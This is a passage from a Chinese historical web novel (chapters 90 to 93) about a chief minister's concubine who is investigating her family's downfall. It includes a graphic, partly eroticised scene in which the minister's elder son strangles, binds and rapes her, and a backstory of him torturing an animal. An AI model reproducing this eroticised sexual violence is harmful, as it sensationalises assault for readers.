“让我唤你姑母,徐可心,你还真说得出口。” 林昭明深呼一口气,捡起桌案上的茶杯,用里面残留的茶水在桌案上写下最后一个字。 “并非走投无路,也不必隐忍等待。你父亲城府极深,位至首辅又怎会轻易露出错处,想必是房梁中生了蛀虫,才会在风雨交加夜彻底坍塌。” 徐可心看着桌案上的“赵”字,紧抿着唇,良久才道,“赵大人赵朗?” “他过去曾在你父亲手底下做事,是你父亲的门生。”林昭明直白道。 徐可心盯着桌案上的字,彻底没了声音。 死去的梁王爷在生前时常拉拢父亲。李三公子同人勾结,意图取代父亲。赵大人过去是父亲手底下的门生,如今在李三被革职后,又时常前去探望,而李家和赵大人又都向大人送去了投名状…… 大人扶持少帝即位,与其余皇子党羽站在对立面,在新帝登基后,大人铲除残余叛党时素来斩草除根,从未手下留情,却接连收下李家和赵大人的投名状。 徐可心紧抿着唇,忽觉心口格外沉重,好似有大石头压在上面一样,让她难以喘息。 她不明白,为何兜兜转转,一切的箭头全都指向大人,而大人究竟是涉身其中,还是观棋之人,又为何收拾残局,而未除掉他们。 他这般无情之人,又因何心慈手软,不仅留下其余残党,还允他们在朝中任职…… 无数不解覆在心头,让她只觉整个人好似落进死水之中,几近窒息。 第90章 得到确凿的结果之前,现实的猜测和真实的感情不断撕扯心的两端。 现实摆在她面前,说她的爱人可能是她的杀父仇人,可真实的感情又让她不愿怀疑对方,甚至在察觉心上的怀疑时,心就疼得几乎快掰成两半。 离开时还未入黄昏,回来时天色却已经黯淡无光,天黑蒙蒙的,根本难以透过阴云分辨今夜是否有星空。 月隐于云,今夜的月残缺一角,也只差那一角,就能凑成一个完整的圆月。 去年见此月时,她只想依附大人。 今年再见此月,却发现早就已经离不开大人了。 徐可心低垂着头,拖着身子向听雨阁走去,整个人浸在浓稠的夜里,好似困于迷雾当 中,难以从中脱身。 已经过了酉时,院内透着昏黄的光。 守夜的丫鬟见她回来,忙不迭上前唤了一声姨娘,欲言又止良久,才小声提醒,“姨娘,大人来了。” 徐可心脚步一顿,抬眸看向落在烛光上的颀长身影,她站在门前驻足良久,深呼一口气后,才挪步上前。 门轴有段时日未浸油,转动时发出吱呀一声,提醒屋内的人,她回来了。 平日里她总守在院中等男人过来,今夜却调换过来,她晚归,而男人守在房中等她回来。 屋内安静无声,男人坐在桌案前,手执书卷,随意撑着头,姿态不算端正,好似已经沐浴了,他未穿朝服,而只松松垮垮地穿了一件单衣。 开门声响起,对方却未回头,甚至未问候一句,好似在等她主动开口,交代方才去了何处,又见了何人。 隐隐猜到对方已经知道她去了哪里,徐可心却没有半分担忧顾虑,她在看到男人的瞬间,满心都是那个没有缘由的揣测。 她不想怀疑男人,恋人之间也不应彼此怀疑,可她实在不明白,为何大人也身处此局之中…… 只要一想到此事,她的内心就不自觉生出抗拒的情绪,不断告诫自己不要胡思乱想,心上忽然很累,甚至很疲惫,好似有什么东西撕扯她的心,要将她撕碎。 她看着男人的背影,不受控地上前,想要紧紧抱住他,确认这人仍站在她身边,确认大人仍是她的。 徐可心埋首在男人颈侧,在抱住男人的瞬间,泪水没有征兆地流下。 她哭得实在没有缘由,又刚从府外回来,很难不让人猜想,她是不是在府受了欺负,才会浑身颤抖不停,哭得这般绝望,几乎濒死一般。 流下的泪水浸湿男人的衣衫,顺着脖颈滑下。 听着耳边的哽咽声,男人拿书的手一顿,问责的话停在口中,抬手抚上肩侧之人满是泪水的脸,“好端端地我们可心为何哭了?受了委屈?” 男人的声音很轻很温柔,透着安抚的意味,不似平时那般不近人情。 “没有……妾身只是很难受,很想很想很想大人,想一直陪在大人身边,不想和大人分开,妾身已经彻底离不开大人了……” 因此只希望一切都是她的揣测,大人只是观棋之人,并未涉身其中,她太喜欢这人了,根本难以接受他和当年一事有牵扯,也难以接受男人看向她的眼里透着冷漠和权衡。 徐可心环住他的手臂不自觉用力,整个人紧紧抱住他,整个人不安惶恐,好似处在悬崖边缘,随时都会崩溃坠落。 男人闻言,沉默半晌,缓缓揽住她的腰,掌心按着她的脖颈,将她压在怀里抱紧,过了良久,才很轻地唤了一声“可心”。 情人趴在他怀中哭得很伤心,可他也难以分辨,这人方才的话,到底是涉世未深的依赖,还是只有他这一根救命稻草,下意识的倾诉。 可心尚且年少,过去在徐家时,时常受徐大人管教,养成了一副谨慎小心的性子,后来去了教坊司,更是身处泥潭,学会如何讨好人。 这人兴许不知晓什么才是真心的喜欢,把依赖当成眷恋,把照顾当成回应,如此便认为离不开他。 可旁人对她的情意太过热烈,而他如今年岁渐长,也难以再同少年一般,给她孤注一掷的喜欢,有的只是平淡如水的照顾陪伴。 过去把可心当情人养时,只想将这人留在身边,给她想要的一切,就算回应她的情意,可相处越久,情动愈深,将人放在心上后,又不想她像只鸟兽一样被圈养在他身边,想让她自己去认清自己,认清她的感情。 到底是否真得愿意,陪着一个迟暮之人度过余生。 他想将人重新再养一次,又顾虑她长出羽翼,真得会离开他。 知晓她方才去了何处,又见了谁,回来时又同谁乘了同一辆马车,可他却发觉,难以再向她问询什么。 他的情人尚且年轻,分不清感情和依赖,而他涉世已深,可以轻而易举地哄骗她,让她一直留在自己身侧,可他又难免顾虑,顾虑这人某日忽然认清自己的感情,不想再陪伴在他身侧,想从他身边逃离,恨他的心太冷,亦恨他太自私,未教导她何为两情相悦。 林远舟抱着怀里的人,轻抚她的后背,未许下什么天荒地老的承诺,只微微偏头,吻去她眼尾咸湿的泪水。 知晓她前去青楼时,林远舟本想着等人回来,惩戒一二,可在知晓她回来时同别的男人乘一辆马车时,一瞬间他的内心是恼火的,却又很快冷静。 他大可以将人困在身边,同往日那般,只随口说下一句告诫,这人就会战战兢兢地遵守,可他又舍不得,舍不得这人身受教条,也舍不得她压抑自己,受困笼中。 他不想成为这人的另一个笼子,也不想成为她想要逃离的泥潭。 思及此,林远舟环住怀中人的手臂不自觉用力,将人紧紧抱在怀里,低头吻上她的耳骨,唇贴着她耳侧不断轻吻。 他不想困住这只飞鸟,只想让她心甘情愿停在他的羽翼之下,若飞鸟想要迁徙,他也不会剪断飞鸟的羽翼,而是压抑自己的占有和掌控,于二年春等待飞鸟还家,只留下一片温和的沼泽地,供她栖息叼琢羽翼。 徐可心趴在男人怀里,哭得太过伤心,不知何时埋首在男人怀里沉沉睡去,她紧攥男人的衣服,眉头微微蹙起,不似往日那般安稳。 林远舟抱着怀中的人,在桌案前坐了一整夜,任由对方依赖地困守在他怀中,直到天破晓时,他才将人抱回床上,缓步离开。 徐可心醒来时,盯着虚空看了半晌,看着空荡的身侧,心上忽得格外孤单。 大人几乎从不留下过夜,天亮后人就离开,他总是有事情要处理,对她的一切了如指掌,而她却对大人的一切一概不知,哪怕每日陪在他身侧,也不知晓他的所思所想,好似有一道无形的屏障隔在两人之间,让她难以窥探这人的心。 见不到大人时,她忍不住胡思乱想,怀疑大人是否真得在意她,可每每见了面,被大人抱在怀里时,她又切身能感受到这人对她的喜欢。 徐可心紧抿着唇,她不应只因一个莫须有的揣测就怀疑大人,她要继续调查下去,不仅要寻到告密之人,为徐家报仇,也要佐证,她的揣测是错的。 老鸨在青楼里被林昭明打了一顿,还未等天亮,就带着脸上的伤跑去李家,将林家带人强行带走三姨娘的事情告知李三公子。 李三公子闻言,本想唾骂几句,可在得知林家二公子也在场后,他又消了气焰,只命人传信给二姨娘,让她打听那姑娘的身份。 让她查清,那姑娘到底是大夫人院中的丫鬟,还是林大人手下办事的。 若她是大夫人手底下的,李三倒是不必顾虑,可若是大人手底下的,他就不明白了。 毕竟林家下的命令,让他处理三姨娘,眼下林大人又将人带走,这到底是杀还是不杀? 思及此,李三公子恨不得扇自己一巴掌,早知道三姨娘会被人带走,他就不应记恨三姨娘,将她送到青楼里让人折磨她,而是直接命人将她打死,也省了一桩麻烦事。 落梅苑。 二姨娘看着手中的信,良久后阖上信纸,看向一旁的丫鬟,轻声问,“听说昨日徐姨娘未时离府,天黑 才回来?” 丫鬟闻言,微微颔首,“离府时带了一个小厮和两个护卫,回来时只带了两个护卫,小厮不见了踪影。” 二姨娘抬眸,“她前些日子不是遣散了院内的小厮,只留下几个丫鬟?” “徐姨娘的确命人遣散院内小厮,又在前几日特意命人要了这人,奴婢远远瞧了那小厮的容貌,好似是过去三姨娘院中近身服侍的下人。” 丫鬟一说,二姨娘当即确认信中女人的身份。 她只垂眸无声思索半晌,将信焚烧后,起身向听雨阁走去。 等到了听雨阁,却被告知徐姨娘离府了。 二姨娘站在听雨阁院外,看着院内乳母怀中的女婴,轻喃一声,“还真是不巧。” “我只站在此处等她回来。” 丫鬟闻言,同她微微行礼,未再多言。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 90-100 第91章 城南的一处街道巷弄外,绿荫遮蔽,一玄黑木门隐于其后。 徐可心方下了马车,一个门童瞧见她,直直走了过来,“可是徐娘子?” 徐可心微微颔首。 门童轻笑,“我家夫子在内等候多时了。” 徐可心不明白他口中的夫子是何人,只跟着门童身后入了一间厢房。 屋内陈设雅致,木窗向外斜斜撑着,一缕日光透过窗外芭蕉落进檀木书架上,垂下一道浅金色的光影。 徐可心站在原地等了片刻,瞧见书架上的一个匣子,忽得感觉格外熟悉,她缓步上前,只仔细看了几眼,很快认出匣子是过去林怀瑾送给她的,不过里面的首饰太过贵重,她未收下,未曾想过这人竟然留了下来。 她垂眼看着匣子,复一转身,又很快在一处桌案上发现一个匣子。 隐隐意识到不对,徐可心环视厢房四周,却见过往这人送给她的东西被尽数安置在此间厢房,大大小小无一遗漏…… 徐可心紧抿着唇,以为自己多想了,她走至一个匣子前,垂在袖中的手指微微蜷缩,忍不住想要探知里面所装之物是否仍是过去旧物。 夫子还未入门,如今房中只有她一人,就算她打开也不会有人看见,徐可心盯着书架上的匣子,手指缓缓摩挲。 她专注地看着架子上的匣子,未留意身后的动静。 “若姨娘喜欢,怀瑾命人送至姨娘院中。” 熟悉的声音在身后响起,徐可心身子一僵,转身看去,却见男人手执书卷,缓步走进。 平时他的脚步声明明格外沉稳,今日不知为何,走得极为缓慢,未发出半分响动。 见他走上前,越靠越近,徐可心下意识退后一步,却见男人看了她一眼,拿下书架上的匣子。 好似看穿她方才的心思,林怀瑾轻扣匣锁,将匣子递到她面前。 同她方才猜测得一般无二,各色珠玉首饰塞满了整个匣子。 男人的手指紧攥着匣子边缘,淡青色的筋骨撑着手背,肤色冷白,比匣中的珠玉更为夺目。 她的目光落在男人的手上,未多加掩饰,格外直白。 察觉到她的目光,男人的手缓慢抬高些许,“姨娘喜欢这只手” 他话语揶揄,但面色平静至极,没有半分调笑之意,好似只是随口一问。 终于意识到自己的眼神太过直白,徐可心垂着眉眼,看向一旁,没有回答他的话,而是引了话头,“不知妾身所托之事可有眉目?” 她有意移开目光,不和男人闲谈,林怀瑾看着面前女人格外疏离的侧颜,无声注视片刻,才垂下目光,阖上匣子放回原处。 她不要这匣珠玉首饰,无非是不喜欢送东西的人。 “只过数日,姨娘便上门拜访,可否太过心急?”他问。 徐可心也知晓自己心急,可现在万般不解压在心头,让她根本难以喘息,只想知道设局之人到底是谁。 知晓林怀瑾眼下未调查出什么,徐可心当即告辞,抬步就要离开。 本站在一旁的男人,忽得伸出手臂拦住她的去路,徐可心不解地看他,“不知公子还有何事?” 林怀瑾站在她面前,垂眼看着她,反手关上门,“姨娘今日前来寻怀瑾,只是为了李家一事?” 他的话说得不明不白,让徐可心一头雾水,分明这人那日告诉她,会为她调查李家,还告知林昭明此事,以至于林昭明责怪她,她不因此上门,还能因何前来? 房门被阖上,日光也被一齐挡在外面,屋内骤然暗了下来,不知是不是徐可心的错觉,她只觉男人的目光好似也暗了几分,垂眸直白看着她,好似蛰伏于暗处的夜兽,打量着自投罗网的猎物。 心上的念头太过诡异,徐可心微微抿唇,强压下心上的不安,垂眸轻声道,“若无事的话,妾身告辞了。” 她抬步就要离开,可经过男人时,却被一把攥住手臂。 男人的手指极为用力,几乎未给她反应的机会,就将她硬生生拽回到自己面前。 徐可心脚步踉跄,险些跌倒。 她被这变故弄得面色一僵,怔愣地看着近在咫尺的男人,下意识问,“公子这是……” 她知晓这人守礼,不会真得冒犯她,可也知晓这人的确性情不定,看似端正实则满腹算计,时常想要拖她下水。 思及此,徐可心的面色不自觉浮上几分警惕。 林怀瑾站在她面前,意味不明地俯视她,只缓缓上前半步,站在她面前,说了一句“失礼了”。 话语致歉,面色却平静得如一摊死水,好似一个行走的尸体站在她面前,有很多话要讲,但总是端着姿态,维持一副死寂的皮囊套子,像是被定在礼仪规矩里,压抑自己的本性,成为一个死守规矩的行尸走肉。 徐可心看着面前的男人,好似终于明白他的异样在何处了,这人尚未弱冠,所以尚且还保留着直率的本性,可他又读了太多书,学了太多规矩,不仅常以规矩约束自身,也以规矩约束旁人,只要出现异端,于他而言就必须处理。 他根本不知晓何为礼,只是偏执地按礼行事。 林怀瑾会为了大夫人找她说情,也会主动承下林昭明的差事,只为让林昭明同她断开关系,不让大夫人伤神。 而眼下这人分明有很话要对她说,却一直沉默不语,权衡是否要说出来。 这人完全被禁锢在世俗规矩的空壳里,而她徐可心于这人而言,却好似必须驱赶躲避的妖魔鬼怪。 徐可心仍记得,刚入府时,这人曾说过给她依仗,那时什么都未发生,这人的本性让他忍不住靠近,可在经历之后的事情后,林怀瑾好似确认了,她的确是祸端,便想要将她赶走。 徐可心抬眸回视他,再次对上男人晦涩难懂的目光,忽得意识到,这人眼底的情绪好似并非厌恶,而是压抑赤裸的情欲…… 哪怕这人比她年轻数岁,也终究是男人。 思及此,徐可心只觉浑身僵硬。 她疑觉自己胡思乱想,下意识后退一步,可男人紧紧攥住她的手臂,根本没有松开的意思,徐可心一瞬间慌了神,不断用力挣扎。 她挣扎得太过剧烈,撕拉一声,衣袖连同肩膀的外衣被扯烂,大片白腻的肌肤直接暴露在外,男人微微皱眉,有一瞬间的怔愣。 徐可心见状,忙不迭用力挣脱他的手,连连后退,整个人直接撞在书架上,砰的一声,坚硬的檀木架子顶着她的腰背,硌得她肩膀酸疼,吃痛地哼了一声。 声音又细又软,透着几分无措,好似身受陷阱徒劳挣扎的困兽,不仅不会令人心生怜惜,反而会刺激狩猎者体内的暴虐。 林怀瑾看着面前衣衫不整的女人,忽觉身子格外燥热,难言的冲动浮在心头,在他的体内横冲直撞。 他少时并不喜读书,只在一日游园时,撞见一只白色幼兔,他不知道旁人见到幼兽时,到底是心生怜惜还是想要猎杀,他只记得自己命小厮擒住了那只兔子,对上那只兔子惊恐的目光,难言的暴虐在体内陡然升起。 他命下人将那只野兔剥皮剔骨,看着那只兔子挣扎地蹬腿,徒劳挣扎,最后疼痛至死。 那日之后,他便时常想起那只兔子,并非心生怜惜懊悔,而是想要再寻旁的幼兽折磨,下人们不以为意,只听从他的话,随他猎杀。 他最初以为自己喜欢围猎,可最后他发觉,他只喜欢看幼兽惊恐的目光,看它们被折磨时拼命挣扎的无助模样。 他一开始不以为意,直到他将目光放在院中的丫鬟小厮身上时,他才忽觉不对。 他跑去见父亲,想要让父亲为他解惑,可父亲政务繁忙,他根本难以见到父亲,他之后又跑去 见母亲,想要母亲告诉他,他所做之事到底是不是错的,可母亲手执书卷,只让身边的下人将他带走。 下人顾及他的身份,哪怕亲耳听见他说,想要将院中的丫鬟小厮剥皮抽筋,喜欢他们惊恐挣扎的模样,下人也只是告诉他,他是首辅大人长子,只私下折磨几个下人,无人会追究。 可他闻言,仍觉得不对,可身边无人能教导他,告诉他是非对错,他不得其解,又实在困扰,便只能效仿书中的圣人,用书中的规矩约束自己。 旁人认为他墨守成规,端正有礼,可只有他自己知晓他压抑于心的暴虐和贪欲。 林怀瑾站在原地,直直看着女人露在外面的白腻肌肤,复又掠过她曼妙丰腴的身姿,目光最后落在她惊恐的漂亮眸子上,只一瞬间,他的头格外昏沉,难以言喻的冲动霎时席卷全身。 他忍不住上前一步,靠近对方,想要死死抱住她,想要紧紧箍住她柔软的身体,看她的眼睛里露出恐惧。 徐可心早就察觉到男人的异样,对上他不再清明的目光,霎时浑身冰冷。 这人一直以来看她的目光哪里是厌恶,分明是赤裸的情欲。 恐惧席卷全身,徐可心下意识想要逃离,她堪堪支起身子,向门外跑去,可男人先一步察觉到她的意图,直接拦腰箍住她的身子,将她直接揽腰抱起,扔在桌案上。 坚硬冰冷的桌面霎时撞上她的身子,徐可心整个人趴在上面,慌乱地挣扎,“长公子!你快松手!” 男人站在她身侧,有力的五指用力掐着她的脖颈,将她的头死死压在桌案上,另外一只手撑在她身侧,眸色暗沉,目光在她的身子缓慢游动,最后落在她的唇上。 他未尝过情欲是何种滋味,但不知为何,每每见了这人,他的目光都不受控地落在她身上,臆想这人倚靠在他怀里的可怜姿态。 林怀瑾垂眸,抬手扯住她的衣裙,不顾她祈求的目光,直接用力扯碎她的衣裳,撕拉一声,衣裳像破布一样被随意扔到地上。 徐可心无力地趴在桌案上,看着身后男人愈发痴狂的目光,泪水不自觉从眼眶滑下。 林怀瑾随手扯下衣带,捆住她的双臂,任由徐可心蜷缩双腿地躺在桌案上,他则向后退了一步,站在一旁居高临下地俯视她挣扎惊恐的面色。 他衣冠整洁,好似仍是别人口中那个温润有礼的林家长公子,于徐可心而言,眼下他却好似野兽一般令人畏惧。 她被束缚在桌案上,心跳鼓动如雷,只恳求地看着林怀瑾,希望对方能放过她。 可对上男人黑沉的目光,徐可心只觉心跳骤停,周身血液逐渐冷凝…… 第92章 徐可心蜷缩着身子,蜷缩双腿向后退,直接碰掉桌案上的砚台和文书。 砚台落在地上,砰的一声,不断翻滚,落到男人脚边,被随意踢开。 林怀瑾直直盯着她,眸色黑沉,抬手抚上衣襟,扯掉外衣,随手扔到一旁。 徐可心浑身颤抖不停,眼睁睁看着男人褪去衣服,她费力挪动手臂,想要挣脱衣带。 衣带被系得极为紧,她费了半天力气,衣带也未松动半分。 林怀瑾站在一旁,边看着她徒劳挣扎,边不紧不慢褪去衣裳,直到最后一件衣裳落地,他单穿了一条长裤,露着冷白结实的胸膛,缓步上前。 眼见男人越靠越近,徐可心急得眼泪直流。 “长公子!我是你庶母!” “庶母……”林怀瑾走至桌案上,单手撑在她身侧,微微俯身勾起她肩侧的长发,低声道,“怀瑾知晓姨娘是父亲的女人,姨娘不必提醒怀瑾。” 他面色平静至极,偏偏这副了然的模样,更让徐可心惊恐不安。 若他出言狡辩,说明心上还有顾虑,可他只这般平静地承认,就说明这人根本不在意后果。 哪里想过他会突然发疯,徐可心面色紧绷,想出言斥责他,但看他这副浑不在意的模样,徐可心又怕说完后,不仅未吓退这人,反而激怒他。 她紧抿着唇,微微仰头看着近在咫尺男人的面庞,徐可心看了眼窗外,张口就要唤人。 “快来……唔……” 还未完整喊出一句话,林怀瑾直接用力捂住她的唇,用力下压,堵住她的求救声。 “姨娘,白日宣淫为□□之事,不宜令人知晓。” 他竟还知晓白日宣淫为□□之事,徐可心身子被束缚,闻言只觉火上心头。 林怀瑾垂眸看着她的眸子,无声看了半晌,他将帕子强硬地塞进徐可心口中,两根长指不断下按,将帕子塞得极其深。 几乎瞬间,徐可心的双颊被撑得鼓起,加之她惊恐的眸子和白皙的肌肤,整个人同林怀瑾少时记忆中的那只幼兔重合。 他看着女人鼓起的侧脸,忍不住低头吻上去,徐可心偏过头,躲过他的吻。 唇贴着脸颊微微擦过,徐可心霎时浑身紧绷,难言的恶心蔓延至心间,甚至压过她心上的恐惧。 恶心…… 恶心到令她作呕…… 她只觉这人好似蛆虫一般,趴在她身上,令人恶心至极。 好似察觉到她的抗拒,林怀瑾微微起身,垂眸看着她,面色露出些许不解,好似不明白她为何这般排斥。 徐可心紧攥手指,对上男人不解的目光,眼底毫不掩饰地浮现厌恶和憎恶,好似他是什么肮脏至极的流浪狗一般。 林怀瑾无声看了她半晌,并未因她恶心的目光而感到恼怒,他只抬手用力钳住徐可心的脖颈,低声道,“姨娘为何不害怕怀瑾了?” 徐可心闻言冷冷看了他一眼,阖上眼睛,甚至不愿同他对视。 掐住她脖颈的手霎时收力,好似要掐断她的脖子一般,徐可心眉头紧蹙,面色愈发涨红发青。 呼吸被一点点剥夺,她整个人也像案板上的鱼肉一样,任人宰割。 她露出惊恐的神色时,林怀瑾只是束缚她的身子,将她困在这里,眼下她不再惊恐,林怀瑾却忽然失了分寸一般,面色愈发冷凝。 他之前曾看过春宫图,书中曾讲过,此时此刻,徐可心应眸色迷离魅惑,为他动情,而非这般冷漠。 好似同书中所讲的并不相同…… 林怀瑾疑心自己用错了法子,在徐可心几近昏厥之前,他终于收了手,攥住女人的膝盖直接分开,抬手抚上自己的裤带。 想必是还未进入的缘故,她才会未动情。 重新汲取呼吸,徐可心枕着桌案大口喘气,她垂眸看着动作急切的男人,紧抿着唇,在对方复又靠近时,毫不犹豫抬脚向他的腹部狠狠踹去。 腿悬在半空,快要踹中男人时,被一把攥紧脚腕。 林怀瑾边攥紧她的脚腕,边俯视她,边温声道,“姨娘,怀瑾为你做事,未向姨娘索求什么,只求姨娘疼疼怀瑾,纵容怀瑾的无礼。” 他俯下身,眸色忽得露出几分祈求。 徐可心深呼一口气,看着他眼下这副可怜神色,不仅未心生动容,反而极为恶心,若非口中被帕子堵住,她定然要痛骂这人一番。 知晓眼下情况对她不利,徐可心垂下眉眼,强压下心上的恶心和畏惧,抬眸看向男人,轻轻眨了下眼睛,喉咙里发出几声难受的呜咽声。 见男人仍站在那里,没有半分动作,徐可心缓缓抬腿,用脚轻轻踩了一下他的胸膛,眸色也温柔几分,万般妩媚地看着他。 “姨娘愿意接纳怀瑾?” 男人终于有了反应,神色略微激动道。 徐可心微微颔首,复又仰起脖颈,示意男人拿掉她口中的帕子。 林怀瑾这次未迟疑,直接抬手,将两根长指探进她口中,拽出她口中的帕子。 徐可心霎时偏过头,大口喘着气,待呼吸平复些许,她才抬眼看向面前的男人,却见林怀瑾站在那里,目光灼灼地盯着她。 徐可心这次确认了,他们林家兄弟二人都是疯子,装得再正常也是疯子。 她之前还疑惑,为何二人同为亲兄弟,为何性情截然不同,原来只是其中一人伪装得太好,装得太过正人君子。 徐可心深呼一口气,对上男人隐隐期待偏执的目光,垂眸柔声道,“既已应了公子,还请公子为妾身解开束缚。” 男人闻言,却未动作。 徐可心压下心间的不安,未露出半分急切,只眨也不眨地看着他,用她那双漂亮的眸子,那双旁人常说格外讨男人喜欢的眸子。 林怀瑾看着她,只被她勾着看了几眼,便俯下身,扯住她手臂上的衣带,倏地松开。 手臂一直被束缚,早就酸麻不 堪,徐可心稍稍适应半晌,待手臂的不适褪去,她才扶着桌案起身,坐在桌案边缘,无声看着面前的男人。 方才她被束缚,深受桎梏,只能仰视男人,眼下她坐起身,便可以俯视他。 徐可心轻轻抬手,抚上男人的肩膀,指腹缓缓滑动,语气很轻问,“若公子同妾身苟合,不怕夫人怪罪公子吗?” 纤白的手指顺着男人的手臂缓慢下滑,最后轻轻握住他的手腕。 林怀瑾垂眼看着手腕上的素白手指,眼也不抬道,“不会让母亲知晓。” 徐可心闻言沉默半晌,语气温温柔柔道,“原来过去妾身一直错怪公子。” 这人哪里是君子,分明是畜生。 林怀瑾仰头看她,方要追问她话里的意思,却见女人忽得主动伸手,揽住他的脖颈。 素白柔软的手臂轻轻揽着他的脖颈,对方主动俯身,靠在他怀里,整个人依赖至极,同他幻想得那般一般无二。 女人的身子很软…… 他垂眸盯着女人的唇,下意识紧紧回抱她,徐可心随意瞥了眼揽在她腰间的有力手臂,只勾着男人的脖颈,将他压在地上。 她则跨坐在林怀瑾的胸膛上,垂眸看着他。 这人动作粗暴,但直到眼下,也未曾做过什么,甚至不会吻她。 很快意识到这人未曾尝过情事,知晓掌控权在她手中,徐可心稍稍松了口气。 她撑着男人的肩膀,微微俯身,迎着他直白的目光,只凑近他的脸,唇缓缓靠近,只轻轻吹了口气,并未吻他。 期待的吻未落下,男人的面色明显露出些许急切,在林怀瑾抬手,想要按住她的脖颈时,徐可心紧抿着唇,毫不犹豫捡起跌落在地的砚台,重重砸向男人的额头。 好似未料到她的动作,林怀瑾眸色明显一怔。 徐可心冷眼看着他,见他尚且清醒,举起砚台,朝着他的头复又狠狠砸了一下…… 直到对方额头满是鲜血,奄奄一息地躺在地上,徐可心才忙不迭捡起男人的外衣穿在自己身上,直接向门外跑去。 她应该早就明白,同林怀瑾议事无异于与虎谋皮,说不定何时就被他中伤。 她脚步不停,可只跑了半步,脚腕就被死死攥住,整个人不受控地向前扑去,砰的一声,膝盖重重砸在地上。 徐可心慌乱回头,却见刚刚还半死不活的男人,此时扶着自己的额头,看着手掌上流动的鲜血。 血液顺着他的头顶缓慢下滑,遮住他的半张脸,红白相应,衬得他的面色极为骇人。 好似终于察觉到她的目光,林怀瑾转动眼珠,缓缓抬眼看了过去,眼底没有半分情绪地看着她,只平静问,“姨娘为何要欺骗怀瑾?” 看着他这副半死不活的骇人模样,徐可心只觉心跳漏停一瞬。 男人站起身,这次未再理会她的神色,也不管她是否惊恐,亦或妩媚,只攥着她的脚腕,将她向里室拖去。 无论她喊叫亦或求救,都无人前来敲门询问。 临到床前,男人俯身勾住她的腰,不顾她的挣扎,直接将她重重扔在床上。 徐可心攥着身下的锦被,眼底满是恨意地看着林怀瑾,可林怀瑾好似未看见一般,俯身掐住她的脖颈,重重吻上她的唇。 强势的气息将她笼罩,在唇贴上的一瞬间,徐可心只觉心上难堪至极,浑身也难受得好似掉进了泥水之中,她忍无可忍,终于抬手打了男人一巴掌。 啪的一声,男人身子一顿,他缓缓抬手,抚上自己的侧脸,不在意地看了徐可心一眼,复又按住她的脖颈,直接用力吻上她的唇。 说是吻,更像是咬,男人用力厮磨她的唇瓣,直接将她的唇咬破,铁锈味霎时蔓延在两人口中。 徐可心用力推着男人的肩膀,恨不得拿刀捅进男人的心脏将他杀了。 徐可心正挣扎时,门外终于传来一阵匆忙脚步声,她的眼底霎时露出喜色,林怀瑾看了她一眼,并未在意,只不断吻着她的唇,汲取他想要的暖意。 “大哥,徐可心是不是在你这里?” 熟悉清朗的声音在门外响起,几乎瞬间,林怀瑾停了动作,紧拧着眉,好似未料到他会上门。 徐可心见状,看向门外,慌乱呼救,可还未开口,就被林怀瑾紧紧捂住唇。 不顾她满是怨恨的目光,林怀瑾看向门外,并未开口。 第93章 林昭明站在门外,复又敲了几下门,仍未得到回应,恰巧一个书童路过,他问,“方才是不是有个女人过来寻你家林夫子?” 书童站在那里,没应声。 林昭明眉眼不耐,烦躁地摩挲腰间的玉佩,“人长得挺漂亮的,不怎么爱讲话,说话时声音很轻,面相很温和,一身素衣裳,头戴一个银簪子,亦或玉簪子……” 他说了半晌,却见书童仍未开口,林昭明不耐烦道,“你未见过她,那我大哥在何处?” 书童闻言,这才有了反应,“方才我家夫子离开了,若公子想要见我家夫子,可随在下前去堂中等候。” 忽得想到什么,书童复又补充一句,“兴许会见到公子方才所说的那位姑娘。” 眼下兄长不在厢房,他又未寻到徐可心,以为他来得早了和她错开了,林昭明烦躁地扯下腰间的玉佩,同书童前去正堂。 待门外的脚步声越来越远,徐可心的心跳得也愈发慢,只等脚步声彻底消失,她也瘫倒在床上。 林怀瑾捂着她的唇,抬眸看着她,语气平静道,“姨娘身子娇贵,怀瑾不会乱来,会尽心服侍姨娘……” 他边缓声陈述,边紧紧环住她的腰,按着她的唇,迎着她厌恶的目光,俯身虔诚地吻上她的锁骨,埋首在她怀里,从下至上缓缓轻吻。 被他吻过地方的汗毛霎时立起,徐可心不仅未情动,反而恶心地浑身颤抖。 林怀瑾复又轻吻一下她的眉心后,坐起身挺直腰背,不顾她厌恶的目光,褪下长裤,攥住她的腿弯,俯身吻上她的膝盖,半阖眉眼,轻声道,“姨娘,只可怜怀瑾一次。” “若你今日强占了我的身子,明日我就告到你父亲那里。”徐可心冷眼看着他,直白道。 林怀瑾轻吻的动作一顿,眼也不抬道,“你在意我父亲,不会让他知晓此事。” 只一句话,女人彻底没了声音。 林怀瑾垂着眉眼,将女人的腿搭在自己的肩膀上,不顾她满是嫌恶的目光,缓缓占据了她的身子…… 林昭明去了正堂后,等了半晌未寻到人,既未见到徐可心,也未见到兄长。 院中的眼线分明告诉他,徐可心前来此处,为何不见人影。 林昭明复 又等了良久,面色愈发不耐,起身向堂外走去,一直站在一旁的书童见状,忙不迭上前一步,拦住他的去路,“兴许不久后夫子就回来了,二公子再等等。” 迟迟见不到徐可心,林昭明早就没了耐心,抬手直接推开他,大步离开。 他正想要离开书院,回府寻徐可心,走到一半路过方才那间厢房时,忽得听见里面传来女人的呜咽声。 声音很细很软,只一瞬间,林昭明就停下脚步。 他盯着那间厢房,疑觉自己听错了,复又上前一步,直到又一声呜咽声传入耳中,林昭明垂在身侧的拳头也骤然紧握。 他说怎么寻不到人,原来两人在这里白日宣淫,早就苟合在一起。 怒火霎时席卷全身,他大步上前,用力拽门,门用力晃动,却未打开,林昭明面色黑沉,直接抬脚将门踹裂。 砰的一声,刚刚还残破的木门,霎时崩裂倒地。 他大步走入房中,却见屏风后,他的兄长赤着身子,紧攥女人的腿,像只发了情的公狗一样,在女人身上耸动。 女人被束缚在床上,眼底满是恨意。 在看到他的瞬间,林怀瑾眉头紧拧,直接掀起被子遮住女人的身子。 一瞬间,林昭明只觉浑身气血翻滚。 “你来做什么?”林怀瑾冷眼看着他,“滚出去。” 两人虽是亲兄弟,但平日里也鲜少见面,没什么情意,往常守着兄友弟恭的教条也就罢了,眼下他不顾伦理,和徐可心上床,还拿出兄长姿态赶他走,林昭明只觉胸中戾气满盈,垂在身侧的手紧握成拳。 “你他娘的耍什么兄长姿态,林怀瑾,你怎么不去死!” 林昭明拎起地上的木椅,毫不犹豫向林怀瑾的头砸去,恨不得直接将他的头打掉一般。 林怀瑾微微皱眉,抬起手臂,挡住向他袭来的座椅,沉闷的一声巨响,木椅裂成了两半。 眼见林昭明抬拳打过来,恐伤到床上的人,林怀瑾起身躲过他的拳头,随手捡起外衣狼狈后退。 